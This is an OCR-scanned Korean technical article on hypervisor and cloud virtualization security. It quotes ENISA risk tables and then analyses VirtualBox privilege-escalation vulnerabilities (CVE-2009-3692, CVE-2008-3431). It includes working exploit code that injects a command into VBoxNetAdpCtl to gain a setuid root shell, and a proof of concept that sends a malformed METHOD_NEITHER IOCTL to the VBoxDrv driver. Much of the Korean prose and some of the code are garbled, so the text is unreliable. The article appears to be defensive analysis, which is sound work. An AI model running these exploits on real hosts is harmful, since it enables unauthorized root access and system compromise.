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22 Aeel 34 716 FAST ARY BAY B4
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e PEY BHL 240 GlolA ek o]
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g FH71e HEgel e AEe =gE U
ENISA(European Network and Information Security Agency)
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9 UEE RT BN stolautol A HepRe
et e el x2 9
2.1 ZRIRE TFY MHIA AIBKIS| HSOR oI5t
HIZL|A TIto] 24HR.4)
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R4 SJHe 42 % A2 97 Fofoll A o]

Bl AZARE ohe T2 FILE Au2 ALg

{ymbmtx . |low

w1 BIGH

- 1 V6. Lack of resource isclation

V7. Lack of reputational isolation

| V5. HYPERVISOR VULNERABIUITIES s
Al Company reputation

AS. Personal sensitive data

AB. Personal data

AZ. Parsonal data - criticat

A9, Service delivery - res! time services

J2 1 2225 MH[2 824 — ENISAS R.4

2.2 22| Am(R.9)

R 9 8L 7141l $19 EofollAl sho]suto]

2010.12 | A3t 75



FoFH o] =3hg fjdadoict s A9
8 §%, 2EX, HEYI )L vME Frt
= ofoF #t. I R 9 AL AR, plme,
PR E A2 o2 AR 2Eshe WAYSAA
A 22 A A% S Auigic) 0T ¢
A2 Zpo|Yl STPE AMulAET HEE FEeE
Au) oA e 7l~‘=*"°l 0 B3 8% Ho]
Blo] &4 T SeE AR ZAE it ¥

T E

o oE,

# e R s -gmx} qare = = ot
LOW {Private Cloud) Comparative: Higher
MEDIUM (Public Cloud)
VERY HigH Comparative: Higher

VS, Hypervisor vulnerabilities v

V. Lack of resource isolation

V7. Lack of reputational isolation

V17, Pousibility that intarnal {cloud) network probing will oocur
V18, Possibility that co-residence checks will be parfonmed
Al. Company raputation

A2 Customer trust

A% Personal sensitive dats

A6, Persorsal data
A7, Personal data - critical

AS, Service delivery - real time services
A0, Setvice delivery

J8 2 EciRC HFRE 2ges

— ENISAY R.9

2.3 Md|A odXie] HIR20l0|=(compromise) (R.19)

R. 19 982 “7]a32] A" HopolA sto]Hulo)
A ey g&ol x3E ¥ aholth FheE A
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VERY HiGH

VS, Hypsrvisorjvulnerabilities v

V6, Lack of resource lsolation

A, Parsonat sensitive dety

AS. Personal data :

A7, Personat dats ~ eritical

A8, HR data

AS. Service delivary ~ reat time services

— ENISAS[ R.19

Aol & 4 9t
2.4 A5t 45&(R.28)
R28 #1¥e Ao ATk 3EAY A7t AL

Aol A Alolg AT B FA 9 Fgo] oL
S Stk 7S g4 9 A7 A A
g opzt Ql7be AREAF Adte Hlold st Boa
Z3gtrt

HEHANAE A7HEA G2 e dF 85 2
AR A7HE ko] F A EATE H @l A
Hoie Ag FAdT 5 ATH4

Comparative; Lower
HIGH Comparative: Higher (for dloud
provider}

VL AAA vulawrakilities

V2, User provisioning vulnsrabilities
V3. User de-provisioning vuloerabiiities
V5. Hypervisof vulnerabilities v

V34 Unclear roles and responsibifities
V35, Poor enforcement of role definitions
V36, MMW principle not spplied

O3 4 22 HRE A8RL - ENISAS R.28

3. opojHtoIX| 52 1Y

3.1 slojmutolN 34 714

st 7169 Hebde AHAsh 87 Alade] o
& vAA Pk £ g FYLE AFY $3Y
Ny 8RS 9dstel 7gst Tlee) AP ol%
g 24 719l diste] AwErch ol A3 CVE
(Common Vulnerability and Exposures) 7|92 2 &}o]
wuo]x] o] oy @ 9 Zof it g (Impact)
S8 ATRT ST HEH B ALZ2l(ex-
ploity ZE[5]E £43te] ¥4 7|HS A%t

7HEEE 719 FHFd f¥(CVE 7192 t=d
Z.

0 Permissions, Privileges, and Access Control

o Input Validation

0 Cross-Site Scripting

o Buffer Errors

W HT A

0 Resource Management Errors

o Numeric Errors

g 7rgs 817 2471y 84



7HEEE Zlge] Hepd oz Qe WY 4 9l o
3 ¥ FE-2 o g

o Allows unauthorized disclosure of information

o Allows unauthorized modification

o Allows disruption of service

o Provides administrator access

o Allows complete confidentiality

£ Y82 stoluutol FekHof oist mE 34

7S OFA @3 §A stolwHte] A 9] exploit
=5 BYE BEgig 37 7|Yat o g B3 o
A& AAstLA gt

3.2 stojmuioIN 34 /g

stolmEfojA s TAE LPA A JHgANE 4
Asted VM g9S Fste] ALE 08 #A4E A
gty stolmutolA] 7j&o] Fofy 7hed aER
(exploit) Z= FHO 2 HopY HHE AHsta ¥4
71HE BAstgc

7L Sun VirtualBox 3.0.6 VBoxNetAdpCtl Privilege

Escalation(CVE—2009-3692)
D FHory A

oid

Original release data | 20091013 | Last revised | 2009-10-15
ovsS 7.2(HIGH)
AV:IL/AC:L/AuIN/C:C/T.C/AC
CWE Insufficient Information
Impact Allows disruption of serviceUnknown

2) 348714

ARHY FHRTE A AH AdolA A7EEA] o2
VBoxNetAdpCtl2] o2& 213} H3S FE3IT) po-
pen()ol A ¢Jojo] AMEE o]&sto] 2H JA(VM)
o] o}l Al AFRA7F TAE VirtualBox o] ZE @3h
£ HESItE B #oFH-2 VBoxNetAdpCtrl A3 A2
£ Z4sta A MAshs Y-S A(bin/sh)FHe
U F5o] ofF ot

3) exploit T &

e 4 ZEQ rummec ZE(AT WA wele}
exploit.c FE(0OS¥ VBoxNetAdpCtl 43 H= A=)
whel) 2wl Aubelehs AT exploitd skt
L mS8 SANES ayHl ok

#!/bin/sh

cat ») runme.c {{ EOF // @3 BH7 w2 (runme.c)
#include {stdio, h)

int main(int arge, char* argv[]) {

from = fopen("/bin/sh","rb");
to = fopen("./sh","wb");
fd = open("./sh",0_RDWR);
fehown(fd,0,0); //dg 913
fchmod(fd,S IRWXU|S_IRWXG|S IRWXO|S ISUID|S_
ISGID); //d% A7
close(fd);
exit(0);
}
ECF
gee runme, ¢ —o runme 2)/dev/null  //runme.c HIY
rm —rf runme,c
cat ») exploit.c {{ EOF //OS(MAC, SUN, Linux)®
VBoxNetAdpCtl A2 A9
#include {stdio h)
int main(int arge,char® argv(])
{
char *env[] = {NULL };
int platform, machine = 0;
struct utsname® sysdetail = malloc(sizeof(struct utsname));

switch(platform){ ZPEZo| w2 VBoxNetAdpCtl A2
27 9 runmeHPIE Y

case 1:

printf('{ Detected a Mac OS X target Wn');
execle("/Applications/VirtualBox, app/Contents/MacOS/
VBoxNetAdpCtl", "VBoxNetAdpCtl', "vhoxnet0| . /runme”,"1:
12" NULL, env);

break,

case 2:
printf("[ Detected a SunOS target Wn");
if(lstrncmp("i86pc”, sysdetail—) machine, strlen('i86pc™)) {
printf("[ Detected SunOS is x86 platform Wn");
execle("/opt/VirtualBox/i386/VBoxNetAdpCtl", "VBox
NetAdpCtl”, "vboxnetO|. /runme”,"1::2" NULL, env);
}
else {
printf{("{ Guessing Sun0S is amd64 platform Wn");
execle("/opt/VirtualBox/amd64/VBoxNetAdpCtl”,"V
BoxNetAdpCtl", "vboxnet0 |, /runme","1::2", NULL, env);
}
break;

case 3.

printf("[ Detected a Linux target Wn");
execle("/opt/VirtualBox/VBoxNetAdpCtl", "VBoxNetAdp
Ctl","vboxnet0|, /runme”,"1::2" NULL, env);

break;

default:

printf("l Unknown OSE target. Try ./%s <{path)/

FILE *from, *to;
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VBoxNetAdpCtlWn, argv [0]);
break;

}
exit(0);

}

EQF

gee exploit, ¢ —o exploit 2)/dev/null  //exploit.c HutY

rm —rf exploit,c

if {$11

then

- fexploit 4 413}

./exploit $1
else
Jexploit
fi
echo [ Trying for root shell,

./sh

L}, Sun XVM VirtualBox 1.6.4 Privilege Escalation
Vulnerability{CVE—2008—3431)

D FHekg 4R

Original release data |2008-08-05 | Last revised | 2009-01-29
ovss 7.2(HIGH)
AV L/ACL/AuIN/C:C/T:IC/AC
CWE Permissions, Privileges, and Access
Control
Provides administrator access,
Allows complete confidentiality,
integrity, and availability violation
Impact . .
Allows unauthorized disclosure
information,
Allows disruption of service
2) 337y

XxVM VirtualBox 1.6.4 ©]Z VBoxDrv.sysDo] 4 9
VBoxDrvNtDeviceControl 34+ I0CTLso}} tijgk ME-
THOD NEITHER £4 942 ARE3}T Tp Zjx)oh o
el wnel fad AXNE A A ggos
ATt %QF%;}OIE} ol &4 AMA7}  \\VBoxDrv
deviceE: 931 #HdY F4AE HUr] 98k Devicelo-
Control 52513 018 4 UYL AL A4S 8T
o 32 49 £4E thewt gt

o 124 : VirtuvalBox #|7]%] HXA] VBoxDrv.sys

oWt SAE] 2
o 294 : AXE ‘VYBoxDrv.sys' 9] a%@ol W\WV
BoxDrve= AMEAY Q15 o] Edtold] 2&g 318
o 39A : B QFHEA ¢lo] METHOD NEI-

1) VBoxDrv.sys -2 Qe 92 EAE 2 H|A Al Ao Virtual
Box & MAJoHA HY, ALE SGAA Al 2do] 7MAEHE A of
5}7] 93l AHR-E= Ad Eato)Bojth

THER? ¥ m=el IOCTLE 43}
0 424 : °|F B3| AT 5 gl ARAA =
gtoly] dj7fwise}l 22 Ad & S AEst
of 3= HzE 3§
xVM Virtualbox& VBoxDrv.sysol 4] ‘Q*Eﬁ}-}f 24
A% 45 APHol ddtk FAAI BAE 0SOA
Ad #de] e g oo =g A= £4
g 48 4 ok
3) exploit T &=
oA AgE 32 A 29A M AgEE ZE
2 \\VBoxDrvE A dsto] AREA} Q15 glo] E=te]
HE Q&S

#include {windows h/>
#include {stdio h/)
int main(int arge, char **argv)
{
HANDLE hDevice;
DWORD cb,
char szDevice[] = "“WWWW. WWVBoxDrv";
if ( (hDevice = CreateFileA(szDevice,

GENERIC READ|GENERIC_WRITE,
0
0,

OPEN_EXISTING,

0,

NULL) ) 1= INVALID HANDLE VALUE ) //tluto]A
°E §E

{

»

printf("Device %s succesfully opened!¥n", szDevice);
}
else
{
printf("Error: Error opening device %sWn" szDevice); //
tjaols @ & Adf
}
chb =0;
if (!DeviceloControl(hDevice,
0x228103,
(LPVOID)0x80808080,0,
(LPVOID)0x80808080, 00,
&cbh,
NULL))
{
printf("Error in  Devicelo .., bytes returned
IHxWn'",cb);
}
}

2) METHOD_NEITHER = Egtoluio} 23 dAA = 0] ok WXy
2} Z(input)/ & 2 (output) & Ao}t ‘DeviceloControl’ 2] ZQJE]
& HEgo 2 7S 7|ee] 8 whEo|t

78 EAQRI] FALE AR M e A By



32 3gA A AMEEE TOCTL request® HE
BF37] Yt A2 T ‘SUPDrv-win.cpp’ o]t}

SUPDrv—win, cpp

NTSTATUS _stdcall VBoxDrvNtDeviceControl{PDEVICE
OBJECT pDevObj, PIRP plrp)
{
PSUPDRVDEVEXT pDevExt = (PSUPDRVDEVEXT)pDevObj
>DeviceExtension;
PIO_STACK_LOCATION pStack =
Location(plrp);
PSUPDRVSESSION pSession = (PSUPDRVSESSION)pStack
FileObject »FsContext:

IoGetCurrentIrpStack

//%749] high—speed 10Ct1& AT} iCmd 25 o7
& 93, VBox Al Z=E BE W g

ULONG ulCmd
IoControlCode;
if { ulCmd == SUP_IOCTL_FAST DO RAW RUN

= pStack .>Parameters, DeviceloControl,

(] ulCmd == SUP_IOCTL_FAST DO_HWACC RUN //IOCtl
o wE A wE
|| ulCmd == SUP_IOCTL _FAST DO_NOP)

//NOP & A} VMMROE fast ioct]l 32
{
KIRQL oldIrgl;

int rc;

//hE CPU 20j9] 7o 2RE PE9T
8l DISPATCH LEVELY) IRQLS Ab&A)71r}

I*g3t71 A

Assert(KeGetCurrentlrql() (= DISPATCH LEVEL);
KeRaiselrgl(DISPATCH LEVEL, &oldIrql);

rc = supdrvIOCtIFast(ulCmd, pDevExt, pSession);

//ree usermode FAut S EAAL RA}F glo] usermodeR
EE buffer pointer 4 zt=t}

KeLowerlrgl(oldIrgl);

// 1/0 request ZH4]

NTSTATUS rclNt = plrp  —)IoStatus, Status = STATUS SUCCESS;
plrp  —>IoStatus Information = sizeof(rc);

_try

{
*(int *)plrp —)UserBuffer = rc;
off regt TP

}
__except(EXCEPTION EXECUTE HANDLER)
{
reNt = plrp  —>IoStatus, Status = GetExceptionCode();
dprintf(("VBoxSupDrvDeviceContorl: Exception Code %#xWn'",
rcNt));

}
IoCompleteRequest(plrp, 10 NG INCREMENT);
return rcNt;

}

//irp Z4A| 9]

return VBoxDrvNtDeviceControlSlow(pDevExt, pSession,
plrp, pStack);

3.3 slo|mHI0)N 22 7]Hol
7HEsE 87 e s TL: %’*2% 1‘?3% 7}*@} NNes

ZUHE 9 J3E AY %’-

of o]FojF o g 7|E2) ﬂ/ﬂ‘ﬂli"ﬂ tzﬂom‘ﬂ
A AO|E AT3YEEY), ¥ SLxR T —?4‘3?%'3,
d d2= HoFY 9 SQL JIAAM F9 FHerdd
|3 ¥4 f3¥2E vehda o

74413 7140 #9Fd 53 3 CIA(Confidential, In-
tegrity, Availability) RQ} SHolA 7H4ks) &7 At
of A M3l FTFS e W A5l W 2 7
9, 7HEE 2 o) 48t AuAE AAAF7] Yt
o] IAE 089 AHY AlE F49, ALAES TAE
78] BAAEE 7FEA7] T Arjs AR FF 7
Hoo] EAgict. ol 3 7HFE BAHY #AHQ
-2 o33 o] AAjsaLz}; gt

JSZE‘-

o QT BA AY ®F U P2 AL B

7hsh 7120 WG WA B AF 7159 B
W 0F ALES} EAE 29 FA A T4 7Y
o e A A% U AN 5 Yk B4 AL
RS 279 0|2 918 ALE AR A8
o 3 muo] WE A 3§87 HAUZ 37)
U HAG B4 A B A5 £AY A Y
2 AFEolop wt}

o sholmutol A W2 BA B8

Fhgsl B AR B A 2l
9 VMM B BelgRo] o $REY 25 S
34 71e stolsutolq HT FA
ok sholsutold A4, WA Fol e W wae
27 Pel 5o @ Ao|= BER APPOE 7
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% WA AFHolof atrk.

o A B AAAE LAY A B
SHEglo] st 7149 SHTEE A Bl B

3) VMware Inc version 6.0.0 CreateProcess & CreateProcessEx Remote
Code Execution Exploit (CVE-2007-4155)

4) Sun's VirtualBox host reboot (CVE-2009-2715)

5} VMware Workstation hemon.sys 6.0.0.45731 Local DoS (CVE-2008-
3761)CVE-2009-1146)
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